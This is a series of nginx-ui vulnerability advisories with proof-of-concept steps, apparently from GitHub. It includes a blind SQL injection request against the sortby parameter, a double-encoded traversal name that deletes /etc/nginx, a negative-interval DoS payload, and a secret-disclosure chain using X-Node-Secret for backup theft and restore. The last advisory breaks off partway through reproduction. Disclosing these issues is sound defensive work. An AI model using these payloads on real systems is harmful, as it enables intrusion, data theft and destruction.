Since tokens can be used to create new accounts, it is possible the disabled user to maintain the privilege.

Details

The application exposes an account-level disable control through the users management API. Login process correctly enforces that control: https://github.com/0xJacky/nginx-ui/blob/6ec542fd97abf2c5950f374f78a32938ad0030e6/internal/user/login.go#L29-L31

However, token-based authentication does not enforce the same check (This code validates token structure and expiry, but returns that user object without checking user.Status.): https://github.com/0xJacky/nginx-ui/blob/6ec542fd97abf2c5950f374f78a32938ad0030e6/internal/user/user.go#L44-L139

There’s also no token revocation feature, unlike when a password is changed: https://github.com/0xJacky/nginx-ui/blob/6ec542fd97abf2c5950f374f78a32938ad0030e6/api/user/user.go#L38-L51

As a result, a disabled user can continue to have full API access. In particular, since that includes account creation, they can create a new account and keep operating even after the JWT expires.

PoC

The issue was validated with version 2.3.3 using the uozi/nginx-ui:sha-c92ec0a docker image.

View the PoC video:

https://github.com/user-attachments/assets/7a5175cb-2f79-4c1b-adad-e7d0bf2ea2bd

Impact

Administrators who rely on "disable user" as an authentication or authorization control can be bypassed.

The disabled user can keep reading sensitive configuration and executing authenticated state-changing actions allowed to that account.

1 / 2
Source: GitHub
First published (updated )
Severity
7.7
EPSS
0.14%
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Nginx UI is a web user interface for the Nginx web server. Nginx UI v2.0.0-beta.35 and earlier gets the value from the json field without verification, and can construct a value value in the form of ../../. Arbitrary files can be written to the server, which may result in loss of permissions. Version 2.0.0-beta.26 fixes the issue.

First published (updated )
Severity
7.1
Race Condition
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The nginx-ui application is vulnerable to a Race Condition. Due to the complete absence of synchronization mechanisms (Mutex) and non-atomic file writes, concurrent requests lead to the severe corruption of the primary configuration file (app.ini). This vulnerability results in a persistent Denial of Service (DoS) and introduces a non-deterministic path for Remote Code Execution (RCE) through configuration cross-contamination.

Details The vulnerability exists because the settings update pipeline does not implement any synchronization primitives. When multiple requests reach the handler simultaneously: 1. Memory Corruption: ProtectedFill() modifies shared global singleton pointers without thread-safety, leading to inconsistent states in memory. 2. File Corruption: The underlying library (gopkg.in/ini.v1) performs direct overwrites. Concurrent write operations interleave at the OS level, resulting in app.ini files with empty leading lines, truncated fields, or partially overwritten configuration keys. 3. State Persistent Failure: Depending on which bytes are corrupted, the application either fails its "is-installed" check (redirecting to /install) or encounters a fatal error during boot/runtime that prevents the process from responding to any further requests.

Environment: - OS: Kali Linux 6.17.10-1kali1 (6.17.10+kali-amd64) - Application Version: nginx-ui v2.3.3 (513) e5da6dd (go1.26.0) - Deployment: Docker Container

PoC 0. Check original app.ini file valid state: <img width="524" height="367" alt="image" src="https://github.com/user-attachments/assets/d9688f76-7fe7-46ea-9eb9-c55bf40918a6" />

1. Log in to the nginx-ui dashboard. 2. Navigate to Preferences and update settings. Capture a POST /api/settings request and send it to Burp Suite Intruder. 3. Configure the attack with Null payloads (to test basic concurrency) or a Fuzzing list (to test data-driven corruption). 4. Set the Resource Pool to 20-50 concurrent requests. <img width="1188" height="776" alt="image" src="https://github.com/user-attachments/assets/403eef43-2bc6-4651-8802-15ddcb4f7631" />

5. Observation (In-flight corruption): Monitor the app.ini file. You will observe the file being written with empty leading lines or incomplete key-value pairs.

- <img width="1316" height="390" alt="image" src="https://github.com/user-attachments/assets/d99553f7-d253-4525-9b45-f59994e69180" /> ------------------------------------------------

- <img width="1368" height="709" alt="image" src="https://github.com/user-attachments/assets/7522ba29-39f1-4c22-88f2-8e859cdb1984" />

6. Observation (Recovery Failure): If the service redirects to /install, attempting to complete the setup again often fails because the underlying configuration state is too corrupted to be reconciled by the installer logic. 7. Observation (Total Service Collapse): When the corruption in app.ini becomes so severe, the Go runtime or the INI parser encounters a fatal error, causing the Nginx-UI service to stop responding entirely (Hard DoS).

<img width="1344" height="542" alt="image" src="https://github.com/user-attachments/assets/da4b99dc-ddce-4b79-b0bb-2d634bdd3bf7" />

8. Observation (Cross-Section Contamination): During testing, it was observed that sometimes INI sections become interleaved. For example, fields belonging to the [nginx] section (like ConfigDir or ReloadCmd) were erroneously written under the [webauthn] section. Example of corrupted output observed: [webauthn] RPDisplayName = RPID = RPOrigins = gDirWhiteList = ConfigDir = /etc/nginx ConfigPath = PIDPath = /run/nginx.pid SbinPath = TestConfigCmd = ReloadCmd = nginx -s reload RestartCmd = nginx -s stop StubStatusPort = 51820 ContainerName =

Impact This is a High security risk (CWE-362: Race Condition). - Integrity: Permanent corruption of application settings and system-level configuration. - Availability: High. The attack results in a persistent Denial of Service that cannot be recovered via the web UI. - Remote Code Execution (RCE) Risk: Since the application allows updating certain fields (like Node Name) and uses others as shell commands (like ReloadCmd or RestartCmd), the observed "cross-contamination" of INI values means an attacker could potentially force a user-controlled string into a command execution field. If ReloadCmd is overwritten with a malicious payload provided in another field, the next nginx reload will execute that payload. While highly impactful, this specific exploit path is non-deterministic and depends on the precise interleaving of thread execution, making targeted exploitation difficult.

Recommended Mitigation 1. Implement Mutex Locking: Wrap the ProtectedFill and settings.Save() calls in a sync.Mutex to serialize access to global settings. 2. Atomic File Writes: Implement a "write-then-rename" strategy. Write the new configuration to app.ini.tmp and use os.Rename() to replace the original file atomically, ensuring the configuration file is always in a valid state.

A patched version of nginx-ui is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4.

1 / 2
Source: GitHub
First published (updated )
Severity
7
EPSS
0.05%
SQL Injection
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L

Summary The OrderAndPaginate function is used to order and paginate data. It is defined as follows: go func OrderAndPaginate(c gin.Context) func(db gorm.DB) gorm.DB { return func(db gorm.DB) gorm.DB { sort := c.DefaultQuery("order", "desc")

order := fmt.Sprintf("%s %s", DefaultQuery(c, "sortby", "id"), sort) db = db.Order(order)

... } } By using DefaultQuery, the "desc" and "id" values are used as default values if the query parameters are not set. Thus, the order and sortby query parameter are user-controlled and are being appended to the order variable without any sanitization. The same happens with SortOrder, but it doesn't seem to be used anywhere. go func SortOrder(c gin.Context) func(db gorm.DB) gorm.DB { return func(db gorm.DB) gorm.DB { sort := c.DefaultQuery("order", "desc") order := fmt.Sprintf("%s %s", DefaultQuery(c, "sortby", "id"), sort) return db.Order(order) } } This issue was found using CodeQL for Go: Database query built from user-controlled sources.

Proof of Concept Based on this setup using uozi/nginx-ui:v2.0.0-beta.7. In order to exploit this issue, we need to find a place where the OrderAndPaginate function is used. We can find it in the GET /api/dnscredentials endpoint. go func GetDnsCredentialList(c gin.Context) { cosy.Coremodel.DnsCredential.SetFussy("provider").PagingList() } The PagingList function is defined as follows: go func (c Ctx[T]) PagingList() { data, ok := c.PagingListData() if ok { c.ctx.JSON(http.StatusOK, data) } } And the PagingListData function is defined as follows: go func (c Ctx[T]) PagingListData() (model.DataList, bool) { result, ok := c.result() if !ok { return nil, false }

result = result.Scopes(c.OrderAndPaginate()) ... } Using the following request, an attacker can retrieve arbitrary values by checking the order used by the query. That is, the result of the comparison will make the response to be ordered in a specific way. http GET /api/dnscredentials?sortby=(CASE+WHEN+(SELECT+1)=1+THEN+id+ELSE+updatedat+END)+ASC+--+ HTTP/1.1 Host: 127.0.0.1:8080 Authorization: <<JWT TOKEN> You can notice the order change by changing =1 to =2, and so the comparison will return false and the order will be updatedat instead of id.

Impact This issue may lead to Information Disclosure

1 / 3
Source: GitHub
First published (updated )
Severity
6.9
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The nginx-ui configuration improperly handles URL-encoded traversal sequences. When specially crafted paths are supplied, the backend resolves them to the base Nginx configuration directory and executes the operation on the base directory (/etc/nginx). In particular, this allows an authenticated user to remove the entire /etc/nginx directory, resulting in a partial Denial of Service.

Details The file deletion logic fails to correctly validate and normalize paths containing URL-encoded traversal sequences such as ..%252F.

When such input is processed, the internal path resolution logic attempts to clamp the path into the allowed configuration directory. Instead of rejecting the traversal attempt, the clamping mechanism resolves the path to the base Nginx configuration directory itself.

Because the deletion handler invokes os.RemoveAll, which recursively removes directories, this results in the deletion of the entire /etc/nginx directory.

This behavior creates a dangerous interaction between path normalization and deletion logic:

- Traversal sequences are not rejected. - Double-encoding (..%252F) is used to bypass initial shallow filters. - The clamping mechanism resolves malicious paths to the base configuration directory. - The deletion handler recursively deletes the resolved path.

As a result, an attacker can trigger deletion of the entire Nginx configuration directory instead of being blocked by path validation logic.

Root Cause

The vulnerability results from a combination of design flaws:

- Improper Path Canonicalization: URL-encoded traversal sequences are not properly rejected. - Unsafe Fallback Logic: The GetConfPath clamping mechanism returns the base configuration directory when traversal is detected instead of rejecting the request. - Unsafe Deletion Primitive: The deletion handler invokes os.RemoveAll, which recursively deletes directories without additional safeguards. (delete.go) // Delete the file or directory err = os.RemoveAll(fullPath) if err != nil { cosy.ErrHandler(c, err) return } This interaction causes the deletion operation to target the most sensitive directory when a traversal attempt occurs.

Environment - Server OS: Kali Linux 6.17.10-1kali1 (6.17.10+kali-amd64) - Nginx UI Version: nginx-ui v2.3.3 - Deployment: Docker / Default installation

Proof of Concept Steps to Reproduce 1. Log into nginx-ui.

2. Go to Manage Configs and create a Folder named ..%252F..%252F..%252F..%252Ftest <img width="1608" height="559" alt="image" src="https://github.com/user-attachments/assets/738d7d65-7e13-48fa-affc-d5509c43900f" />

3. Observe that the backend resolves the path to /etc/nginx..

4. Now lets create a file called testing.

5. Save it and rename it to ..%252F..%252F..%252F..%252Ftest (It is not possible to create it directly with the payload name so we have to rename it)

6. Go back to manage configs and Click Delete to remove the file we just created.

7. Check that there is an error: <img width="1578" height="696" alt="image" src="https://github.com/user-attachments/assets/51a36310-0676-4fe5-b80c-e0199498efbf" />

8. Reload the website and check that the /etc/nginx folder has been completely removed: <img width="1313" height="722" alt="image" src="https://github.com/user-attachments/assets/0a9ddd1b-786b-4cf2-8abd-1dc6f3a77807" />

Impact

An authenticated user capable of invoking the configuration deletion endpoint can trigger the recursive deletion of the entire Nginx configuration directory (/etc/nginx).

This results in: - Immediate failure of the Nginx service due to missing configuration files. - Loss of all Nginx configuration managed by nginx-ui. - Denial of Service for all web services relying on the affected Nginx instance.

As the deletion operation uses a recursive filesystem call, the entire configuration directory is removed, leaving the system unable to restart Nginx until the configuration is manually restored.

A patched version is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4.

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
Input Validation
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary An input validation vulnerability in the logrotate configuration allows an authenticated user to cause a complete Denial of Service (DoS). By submitting a negative integer for the rotation interval, the backend enters an infinite loop or an invalid state, rendering the web interface unresponsive.

Details The vulnerability exists in the handler for the POST /api/settings endpoint. Specifically, the logrotate.interval field is accepted as a signed integer without lower-bound verification. When a negative value is processed by the backend logic responsible for scheduling or calculating the next rotation, it triggers a non-terminating loop. This consumes CPU resources and prevents the Go web server from handling further concurrent requests.

Environment: - OS: Kali Linux 6.17.10-1kali1 (6.17.10+kali-amd64) - nginx-ui version: 2.3.3 (513) e5da6dd (go1.26.0 linux/amd64) - Deployment: Docker container - Run Command: docker run -dit \ --name=nginx-ui \ --restart=always \ -v /mnt/user4/appdata/nginx:/etc/nginx \ -v /mnt/user4/appdata/nginx-ui:/etc/nginx-ui \ -v /var/run/docker.sock:/var/run/docker.sock \ -p 8080:80 -p 8443:443 \ uozi/nginx-ui:latest

PoC 1. Authenticate to the nginx-ui dashboard. 2. Send a POST request to /api/settings (using Burp Suite, Postman, or curl). 3. Set the payload as follows: . . . { "logrotate": { "enabled": true, "cmd": "logrotate /etc/logrotate.d/nginx", "interval": -1 } } . . . 4. Observe that the web server stops responding to all subsequent requests immediately after the injection. <img width="1041" height="390" alt="image" src="https://github.com/user-attachments/assets/b746a91a-dd63-4f5e-b1a8-382b9d08e181" />

Impact This is a High-availability vulnerability (CWE-20: Improper Input Validation). Any authenticated user with access to settings can permanently hang the service.

A patched version of nginx-ui is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
Infoleak
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary The GetSettings API handler (api/settings/settings.go:24-65) serializes all settings structs to JSON and returns them to authenticated users. Many sensitive fields are tagged with protected:"true" - however, this tag is only enforced during writes (via ProtectedFill in SaveSettings) and is completely ignored during reads. This exposes 40+ protected fields including JwtSecret (enabling auth token forgery), NodeSecret (enabling cluster node impersonation), OIDC ClientSecret (enabling OAuth account takeover), and the IP whitelist configuration.

Details Vulnerable Code

api/settings/settings.go:49-64 - GetSettings serializes all fields

go c.JSON(http.StatusOK, gin.H{ "app": cSettings.AppSettings, "server": cSettings.ServerSettings, "database": settings.DatabaseSettings, "auth": settings.AuthSettings, "casdoor": settings.CasdoorSettings, "oidc": settings.OIDCSettings, "cert": settings.CertSettings, "http": settings.HTTPSettings, "logrotate": settings.LogrotateSettings, "nginx": settings.NginxSettings, "node": settings.NodeSettings, "openai": settings.OpenAISettings, "terminal": settings.TerminalSettings, "webauthn": settings.WebAuthnSettings, })

Go's json.Marshal serializes all exported fields with json: tags. The protected:"true" struct tag is a custom tag - it has no effect on JSON serialization.

Protection is Write-Only

api/settings/settings.go:126-135 - ProtectedFill only used during saves

go cSettings.ProtectedFill(cSettings.AppSettings, &json.App) cSettings.ProtectedFill(cSettings.ServerSettings, &json.Server) cSettings.ProtectedFill(settings.AuthSettings, &json.Auth) // ... etc

ProtectedFill prevents overwriting protected fields during SaveSettings, but GetSettings has no corresponding filter. The protection is asymmetric - secrets can be read but not overwritten.

Exposed Protected Fields

settings/node.go: - Secret (protected) - used for cluster node authentication - SkipInstallation (protected), Demo (protected)

settings/oidc.go (all protected): - ClientId, ClientSecret, Endpoint, RedirectUri, Scopes, Identifier

settings/casdoor.go (all protected): - Endpoint, ExternalUrl, ClientId, ClientSecret, CertificatePath, Organization, Application, RedirectUri

settings/auth.go: - IPWhiteList (protected) - exposes security configuration

Attack Scenario

1. Low-privilege authenticated user calls GET /api/settings 2. Response includes NodeSecret - attacker can impersonate cluster nodes 3. Response includes OIDC ClientSecret - attacker can perform OAuth flows as the application 4. Response includes IPWhiteList - attacker learns network security configuration 5. If JwtSecret is in app settings (via cosy framework), attacker can forge authentication tokens for any user

PoC 1. GetSettings serializes all fields without filtering protected:"true" tags. From api/settings/settings.go:49-64:

go c.JSON(http.StatusOK, gin.H{ "app": cSettings.AppSettings, "server": cSettings.ServerSettings, "database": settings.DatabaseSettings, "auth": settings.AuthSettings, "casdoor": settings.CasdoorSettings, "oidc": settings.OIDCSettings, "cert": settings.CertSettings, "http": settings.HTTPSettings, "logrotate": settings.LogrotateSettings, "nginx": settings.NginxSettings, "node": settings.NodeSettings, "openai": settings.OpenAISettings, "terminal": settings.TerminalSettings, "webauthn": settings.WebAuthnSettings, })

Go's json.Marshal serializes all exported fields. The custom protected:"true" tag has no effect on serialization.

2. Protected secrets are defined across settings/.go. High-impact examples:

go // settings/serverv1.go:19 JwtSecret string json:"jwtsecret" protected:"true"

// settings/node.go:5 Secret string json:"secret" protected:"true"

// settings/oidc.go ClientSecret string json:"clientsecret" protected:"true"

// settings/auth.go IPWhiteList []string json:"ipwhitelist" protected:"true"

3. ProtectedFill is write-only. It appears 10 times in SaveSettings (lines 126-135) but 0 times in GetSettings:

go // api/settings/settings.go:126-135 - Only used during writes cSettings.ProtectedFill(cSettings.AppSettings, &json.App) cSettings.ProtectedFill(cSettings.ServerSettings, &json.Server) cSettings.ProtectedFill(settings.AuthSettings, &json.Auth) // ... 7 more calls

4. Exploit request. Any authenticated user can retrieve all secrets:

http GET /api/settings HTTP/1.1 Authorization: Bearer <any-valid-jwt>

Response includes (among 45 protected fields): json { "app": {"jwtsecret": "<the-actual-jwt-signing-key>", ...}, "node": {"secret": "<node-authentication-secret>", ...}, "oidc": {"clientsecret": "<oidc-client-secret>", ...}, "casdoor": {"clientsecret": "<casdoor-client-secret>", ...}, "auth": {"ipwhitelist": ["10.0.0.1", ...], ...}, "nginx": {"reloadcmd": "nginx -s reload", "restartcmd": "...", ...} }

Impact - Authentication bypass via JwtSecret: An attacker who obtains the JwtSecret can forge valid JWT tokens for any user, including admin accounts. This provides permanent, independent access that survives password changes and session revocations. - Cluster compromise via NodeSecret: The NodeSecret is used for inter-node authentication in nginx-ui clusters. An attacker can impersonate any cluster node, push malicious configurations to all nodes, and intercept cluster synchronization traffic. - Third-party OAuth takeover: Leaked OIDC ClientSecret and Casdoor ClientSecret allow the attacker to perform OAuth flows as the nginx-ui application, potentially gaining access to user accounts on the identity provider. - Security configuration disclosure: The IPWhiteList, ReloadCmd, RestartCmd, ConfigDir, SbinPath, and other protected fields reveal the security posture and infrastructure layout, enabling more targeted attacks. - Low barrier to exploitation: Any authenticated user (not just admins) can access GET /api/settings. In multi-user deployments, a low-privilege operator can escalate to full admin access.

Remediation

Filter out protected:"true" fields before serialization.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
Infoleak
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary An authenticated user can call GET /api/settings and retrieve sensitive configuration values, including node.secret. The same node.secret is accepted by AuthRequired() through the X-Node-Secret header (or nodesecret query parameter), causing the request to be treated as authenticated via the trusted-node path and associated with the init user. In my local reproduction on v2.3.6, GET /api/settings also returned app.jwtsecret. After extracting node.secret, I was able to access GET /api/backup using only X-Node-Secret, download a full backup archive, and obtain the X-Backup-Security response header containing the backup decryption material (AESKey:AESIv). I also confirmed that the disclosed node.secret is sufficient to reach the restore workflow on an installed instance. Using only X-Node-Secret, a valid backup archive, and its matching X-Backup-Security token, I successfully invoked POST /api/restore. In a follow-up rollback test, I changed node.name to rollback-poc-B, then restored a previously captured backup and observed the value revert to its original state. This extends the issue beyond secret disclosure and backup exfiltration into confirmed integrity impact through restore-based rollback of nginx-ui state/configuration. This breaks the trust boundary between ordinary user-authenticated API access and the internal node-authentication mechanism, and results in sensitive configuration disclosure, alternate-authentication abuse, backup exfiltration with decryption material, and confirmed restore-based rollback of nginx-ui state.

Details Vulnerable code / related files and functions

1) Route exposure and insufficient protection on the read path

File: api/settings/router.go

Relevant function: InitRouter

The settings router exposes the following endpoints: http GET /api/settings/server/name → GetServerName GET /api/settings → GetSettings POST /api/settings → RequireSecureSession(), SaveSettings

The key issue is that the read path (GET /api/settings) is only protected by the generic authentication middleware, while the write path (POST /api/settings) has an additional RequireSecureSession() check. This makes the read path a much easier place to leak sensitive configuration data than the write path. go r.GET("settings/server/name", GetServerName) r.GET("settings", GetSettings) r.POST("settings", middleware.RequireSecureSession(), SaveSettings)

2) Sensitive data is disclosed by GetSettings

File: api/settings/settings.go

Relevant functions: GetSettings, SaveSettings

GetSettings returns multiple configuration objects directly in the JSON response, including app, server, database, auth, casdoor, oidc, cert, http, logrotate, nginx, node, openai, terminal, and webauthn. In other words, the handler does not use a redacted DTO for user-facing output; it serializes the live settings objects directly.

go c.JSON(http.StatusOK, gin.H{ "app": cSettings.AppSettings, "server": cSettings.ServerSettings, "database": settings.DatabaseSettings, "auth": settings.AuthSettings, "casdoor": settings.CasdoorSettings, "oidc": settings.OIDCSettings, "cert": settings.CertSettings, "http": settings.HTTPSettings, "logrotate": settings.LogrotateSettings, "nginx": settings.NginxSettings, "node": settings.NodeSettings, "openai": settings.OpenAISettings, "terminal": settings.TerminalSettings, "webauthn": settings.WebAuthnSettings, })

In my local reproduction on v2.3.6, this response exposed both: node.secret app.jwtsecret

This makes GetSettings the direct disclosure source for the vulnerability.

3) The disclosed value is explicitly defined as protected/sensitive

File: settings/node.go

Relevant object: type Node

The Node settings object defines the following field: go type Node struct { Name string json:"name" binding:"omitempty,safetytext" Secret string json:"secret" protected:"true" ... }

The protected:"true" tag shows that the codebase itself treats node.secret as a protected/sensitive value. Despite that, the field is still returned unredacted by GetSettings. This strongly indicates a real secret disclosure issue rather than a harmless configuration read.

4) The disclosed secret is reused as an authentication credential

File: internal/middleware/middleware.go

Relevant functions: getNodeSecret, AuthRequired, AuthRequiredWS

The authentication middleware contains a separate node-secret authentication path:

- getNodeSecret(c) reads the value from the X-Node-Secret header or the nodesecret query parameter. - AuthRequired() checks whether the supplied value equals settings.NodeSettings.Secret. - If it matches, the middleware: loads initUser := user.GetInitUser(c) stores Secret in the context stores user in the context - allows the request to proceed without relying on the ordinary JWT path for that identity flow

This is the sink of the vulnerability: the same secret disclosed by GET /api/settings is accepted as a valid authentication credential by the middleware.

go if nodeSecret := getNodeSecret(c); nodeSecret != "" && nodeSecret == settings.NodeSettings.Secret { initUser := user.GetInitUser(c) c.Set("Secret", nodeSecret) c.Set("user", initUser) c.Next() return }

AuthRequiredWS() contains similar logic for the WebSocket path, meaning the same secret is also trusted by the WebSocket authentication flow.

5) The write path already treats these fields as protected, but the read path does not

File: api/settings/settings.go

Relevant function: SaveSettings

SaveSettings() already uses ProtectedFill(...) for several settings objects, including: AppSettings NodeSettings OpenAISettings NginxSettings OIDCSettings

This shows the project already recognizes that these objects contain protected fields on the write path. However, GetSettings() still returns the raw objects on the read path, creating a clear “write-protected but read-exposed” inconsistency. That inconsistency is the core authorization/secret-handling flaw here. go cSettings.ProtectedFill(cSettings.AppSettings, &json.App) cSettings.ProtectedFill(settings.NodeSettings, &json.Node) cSettings.ProtectedFill(settings.OpenAISettings, &json.Openai) cSettings.ProtectedFill(settings.NginxSettings, &json.Nginx) cSettings.ProtectedFill(settings.OIDCSettings, &json.Oidc)

6) Backup endpoint reachable after alternate authentication

File: api/backup/router.go, api/backup/backup.go

Relevant functions: InitRouter, CreateBackup

The backup route is exposed as:

go r.GET("backup", CreateBackup)

This route is protected by the same AuthRequired() middleware chain as other authenticated API routes.

In CreateBackup(), the server returns the backup archive to the caller and also sets the X-Backup-Security response header containing the decryption material: go c.Header("X-Backup-Security", fmt.Sprintf("%s:%s", backup.Security.AESKey, backup.Security.AESIv)) c.File(backupFilePath)

As a result, once node.secret is disclosed from /api/settings and reused through X-Node-Secret, the attacker can access /api/backup and obtain both the encrypted backup and the decryption token in the same response.

This means the disclosed secret is not only usable for low-risk authenticated reads, but also for high-impact data exfiltration through the backup subsystem.

7) Restore endpoint is reachable and usable after alternate authentication

File: api/backup/router.go, api/backup/restore.go, internal/backup/restore.go

Relevant functions: authIfInstalled, RestoreBackup, internal restore helpers

The restore route is exposed as:

go r.POST("/restore", authIfInstalled, middleware.EncryptedForm(), RestoreBackup)

On installed instances, authIfInstalled calls AuthRequired(). Because AuthRequired() accepts X-Node-Secret and associates the request with the init user, the same disclosed node.secret can be used to reach the restore workflow, not just read-only or backup routes.

RestoreBackup() accepts:

- backupfile - securitytoken - restorenginx - restorenginxui - verifyhash

It parses the securitytoken as AESKey:AESIv, decodes both values from base64, saves the uploaded backup archive to a temporary location, and then calls the internal restore logic.

In my local reproduction on v2.3.6, a request to POST /api/restore using only:

- X-Node-Secret - a valid backup archive - the matching X-Backup-Security token

returned:

{"nginxuirestored":false,"nginxrestored":false,"hashmatch":true}

for a no-op restore test, confirming that the restore path was reachable and processed successfully via the trusted-node authentication path.

I then performed an observable rollback test. After changing node.name to rollback-poc-B, I restored a previously captured backup using only X-Node-Secret plus the matching backup/security token pair. The server returned:

{"nginxuirestored":true,"nginxrestored":false,"hashmatch":true}

and GET /api/settings/server/name changed from:

rollback-poc-B

back to its original empty value after the restore completed.

This confirms that the disclosed node.secret is sufficient not only for backup exfiltration, but also for successful restore invocation and rollback of nginx-ui state/configuration.

Why these files together form the vulnerability

These files combine into a single exploitable chain:

- api/settings/router.go exposes the settings read endpoint to authenticated callers. - api/settings/settings.go:GetSettings returns raw settings objects, disclosing node.secret and other sensitive values. - settings/node.go confirms that node.secret is explicitly treated as a protected field. - internal/middleware/middleware.go:AuthRequired accepts that same secret as a valid alternate authentication factor and associates the request with the init user.

For that reason, this is not just a “settings disclosure” issue. It is more accurately described as:

secret disclosure in a user-facing API combined with reuse of the disclosed secret as an authentication factor in middleware.

Vulnerable source-to-sink path

The vulnerable chain spans the settings API, node authentication middleware, backup subsystem, and restore subsystem.

Source

An authenticated caller can reach:

- GET /api/settings

The handler returns raw settings objects directly in the JSON response, including:

- settings.NodeSettings - cSettings.AppSettings - settings.OpenAISettings - other configuration objects

In my local reproduction on v2.3.6, the response exposed:

- node.secret - app.jwtsecret

Propagation

The attacker extracts node.secret from the /api/settings response and reuses it as:

- X-Node-Secret header, or - nodesecret query parameter

Authentication sink

AuthRequired() in internal/middleware/middleware.go checks whether the supplied node secret matches settings.NodeSettings.Secret. If it matches, the middleware loads initUser := user.GetInitUser(c), stores the user in the request context, and allows the request to proceed without using the ordinary JWT path for that identity flow.

Post-authentication sinks

After satisfying AuthRequired() through X-Node-Secret, the attacker can reach additional protected routes, including:

- GET /api/settings/server/name - GET /api/settings - GET /api/backup - POST /api/restore (on installed instances via authIfInstalled → AuthRequired())

In particular:

- GET /api/backup returns the backup archive and sets the X-Backup-Security response header containing the decryption material (AESKey:AESIv) - POST /api/restore accepts a backup archive plus the matching securitytoken and executes the restore workflow

This creates the following end-to-end source-to-sink chain:

1. Authenticated caller reaches GET /api/settings 2. Response discloses node.secret (and in my lab also app.jwtsecret) 3. Attacker reuses node.secret as X-Node-Secret 4. AuthRequired() accepts the request on the trusted-node path and associates it with the init user 5. Attacker accesses GET /api/backup 6. Server returns the encrypted backup archive and X-Backup-Security decryption material in the same response 7. Attacker submits the captured backup and matching token to POST /api/restore using only X-Node-Secret 8. Server processes the restore request successfully 9. nginx-ui state/configuration can be rolled back to the contents of the captured backup

This is not just a read-only disclosure chain. It is a disclosure-to-authentication-to-backup-to-restore chain with confirmed integrity impact.

Why this is a vulnerability, not intended behavior

This is not expected behavior for three reasons:

1. Node.Secret is explicitly marked protected:"true", indicating it is sensitive. 2. SaveSettings() uses ProtectedFill(...) on NodeSettings, OpenAISettings, and other settings objects, showing the write path already treats these fields as protected/special. 3. Despite that, GetSettings() still returns the raw secret-bearing objects to the caller, and the disclosed node.secret is immediately reusable as an authentication credential in middleware. That breaks the intended separation between user-facing configuration APIs and internal trusted-node authentication.

Trust boundary that is broken

The broken boundary is: ordinary authenticated user/API session → trusted node / init-user authentication path

A caller who is only supposed to use the normal JWT/cookie-based user path can retrieve a secret that belongs to the trusted-node path, then cross that boundary by presenting X-Node-Secret to AuthRequired().

Attacker model / required privileges

The confirmed attacker requirement is:

- ability to authenticate to the web UI and call GET /api/settings

In my local reproduction on v2.3.6, I reproduced this with a normal browser-authenticated session after resetting the initial account password in a fresh Docker deployment. The issue does not require shell access or direct database access. The route itself is protected, but the read-path has no additional redaction for secret-bearing settings, and the disclosed node secret can then be reused as alternate authentication.

Additional confirmed impact: backup exfiltration through the trusted-node authentication path

The impact is not limited to reading settings or downloading backups.

In api/backup/router.go, the restore endpoint is exposed as:

go r.POST("/restore", authIfInstalled, middleware.EncryptedForm(), RestoreBackup)

On installed instances, authIfInstalled calls AuthRequired(). Because AuthRequired() accepts X-Node-Secret and maps the request to the init user when the supplied secret matches settings.NodeSettings.Secret, the disclosed node.secret can also be reused to reach the restore workflow.

In api/backup/restore.go, RestoreBackup() accepts:

- backupfile - securitytoken - restorenginx - restorenginxui - verifyhash

It parses securitytoken as AESKey:AESIv, decodes both values from base64, saves the uploaded backup archive, and invokes the internal restore logic.

In my local reproduction on v2.3.6, I first confirmed route reachability by submitting a valid backup archive and matching securitytoken using only X-Node-Secret, which returned: {"nginxuirestored":false,"nginxrestored":false,"hashmatch":true}

I then performed an observable rollback test:

1. Captured a valid backup in state A 2. Changed node.name to rollback-poc-B 3. Verified GET /api/settings/server/name returned rollback-poc-B 4. Submitted the previously captured backup to POST /api/restore using only X-Node-Secret and the matching securitytoken Received: {"nginxuirestored":true,"nginxrestored":false,"hashmatch":true}

Verified GET /api/settings/server/name returned the original empty value after restore

This confirms that the disclosed node.secret is sufficient not only for backup exfiltration, but also for successful restore invocation and rollback of nginx-ui state/configuration through the trusted-node authentication path.

PoC Reproduction environment

- Product: 0xJacky/nginx-ui - Confirmed version: v2.3.6 - Deployment method: local Docker lab on http://127.0.0.1:8080 using uozi/nginx-ui:latest at the time of testing.

Exact reproduction steps 1.Start a fresh local Docker deployment of uozi/nginx-ui:latest.

Optional convenience settings I used in the lab: powershell NGINXUINODESKIPINSTALLATION=true NGINXUINODESECRET=<known test value> NGINXUIAPPJWTSECRET=<known test value> NGINXUIIGNOREDOCKERSOCKET=true

These are documented environment settings supported by Nginx UI.

2.Reset the initial account password using the official command: powershell docker exec nginx-ui-lab nginx-ui reset-password --config=/etc/nginx-ui/app.ini

